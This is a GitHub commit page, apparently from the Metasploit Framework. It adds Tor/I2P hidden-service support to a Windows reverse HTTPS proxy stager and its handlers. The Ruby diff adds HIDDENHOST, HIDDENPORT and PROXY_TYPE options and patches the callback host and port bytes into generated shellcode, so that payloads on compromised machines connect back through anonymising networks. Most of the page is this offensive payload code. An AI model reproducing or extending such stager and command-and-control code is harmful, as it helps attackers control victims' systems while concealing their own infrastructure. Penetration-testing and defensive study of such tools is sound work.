Skip to content

Commit f48c70d

Browse files
author
Alexandre Maloteaux
committed
enable tor and small fix
1 parent e8983a2 commit f48c70d

File tree

4 files changed

+46
-11
lines changed

4 files changed

+46
-11
lines changed

data/meterpreter/metsrv.dll

15 KB
Binary file not shown.

lib/msf/core/handler/reverse_http.rb

Lines changed: 15 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -83,13 +83,21 @@ def ssl?
8383
# addresses.
8484
#
8585
def full_uri
86-
lhost = datastore['LHOST']
86+
if datastore['HIDDENHOST']
87+
lhost = datastore['HIDDENHOST']
88+
else
89+
lhost = datastore['LHOST']
90+
end
8791
if lhost.empty? or lhost == "0.0.0.0" or lhost == "::"
8892
lhost = Rex::Socket.source_address
8993
end
9094
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
9195
scheme = (ssl?) ? "https" : "http"
92-
uri = "#{scheme}://#{lhost}:#{datastore["LPORT"]}/"
96+
if datastore['HIDDENPORT']
97+
uri = "#{scheme}://#{lhost}:#{datastore["HIDDENPORT"]}/"
98+
else
99+
uri = "#{scheme}://#{lhost}:#{datastore["LPORT"]}/"
100+
end
93101

94102
uri
95103
end
@@ -308,6 +316,11 @@ def on_request(cli, req, obj)
308316
if proxyport == "80"
309317
proxyinfo = proxyhost
310318
end
319+
if datastore['PROXY_TYPE'].to_s == 'HTTP'
320+
proxyinfo = 'http://' + proxyinfo
321+
else #socks
322+
proxyinfo = 'socks=' + proxyinfo
323+
end
311324
proxyinfo << "\x00"
312325
blob[i, proxyinfo.length] = proxyinfo
313326
print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...")

lib/msf/core/handler/reverse_https_proxy.rb

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -38,8 +38,14 @@ def initialize(info = {})
3838

3939
register_options(
4040
[
41-
OptPort.new('LPORT', [ true, "The local listener port", 8443 ])
42-
], Msf::Handler::ReverseHttpsProxy)
41+
OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]),
42+
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
43+
OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]),
44+
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]),
45+
OptString.new('HIDDENHOST', [false, "The tor/i2p hidden host to connect to, when set it will be used instead of LHOST for stager generation"]),
46+
OptInt.new('HIDDENPORT', [ false, "The hidden port to connect to, when set it will be used instead of LPORT for stager generation"]),
47+
OptEnum.new('PROXY_TYPE', [true, 'HTTP or SOCKS proxy type', 'HTTP', ['HTTP', 'SOCKS']])
48+
], Msf::Handler::ReverseHttpsProxy)
4349

4450
end
4551

modules/payloads/stagers/windows/reverse_https_proxy.rb

Lines changed: 23 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ def initialize(info = {})
1919
super(merge_info(info,
2020
'Name' => 'Reverse HTTPS Stager with Support for Custom Proxy',
2121
'Description' => 'Tunnel communication over HTTP using SSL, supports custom proxy',
22-
'Author' => ['hdm','corelanc0d3r <[email protected]>'],
22+
'Author' => ['hdm','corelanc0d3r <[email protected]>', 'amaloteaux'],
2323
'License' => MSF_LICENSE,
2424
'Platform' => 'win',
2525
'Arch' => ARCH_X86,
@@ -88,7 +88,11 @@ def generate
8888
if proxyport == "80"
8989
proxyinfo = proxyhost
9090
end
91-
91+
if datastore['PROXY_TYPE'].to_s == 'HTTP'
92+
proxyinfo = 'http://' + proxyinfo
93+
else #socks
94+
proxyinfo = 'socks=' + proxyinfo
95+
end
9296
proxyloc = p.index("PROXYHOST:PORT")
9397
p = p.gsub("PROXYHOST:PORT",proxyinfo)
9498

@@ -98,14 +102,26 @@ def generate
98102
p[proxyloc-4] = [calloffset].pack('V')[0]
99103

100104
# patch the LPORT
105+
if datastore['HIDDENPORT']
106+
lport = datastore['HIDDENPORT']
107+
else
108+
lport = datastore['LPORT']
109+
end
110+
101111
lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444
102-
p[lportloc+1] = [datastore['LPORT'].to_i].pack('V')[0]
103-
p[lportloc+2] = [datastore['LPORT'].to_i].pack('V')[1]
104-
p[lportloc+3] = [datastore['LPORT'].to_i].pack('V')[2]
105-
p[lportloc+4] = [datastore['LPORT'].to_i].pack('V')[3]
112+
p[lportloc+1] = [lport.to_i].pack('V')[0]
113+
p[lportloc+2] = [lport.to_i].pack('V')[1]
114+
p[lportloc+3] = [lport.to_i].pack('V')[2]
115+
p[lportloc+4] = [lport.to_i].pack('V')[3]
106116

107117
# append LHOST and return payload
108-
p + datastore['LHOST'].to_s + "\x00"
118+
119+
if datastore['HIDDENHOST']
120+
lhost = datastore['HIDDENHOST']
121+
else
122+
lhost = datastore['LHOST']
123+
end
124+
p + lhost.to_s + "\x00"
109125

110126
end
111127

0 commit comments

Comments
 (0)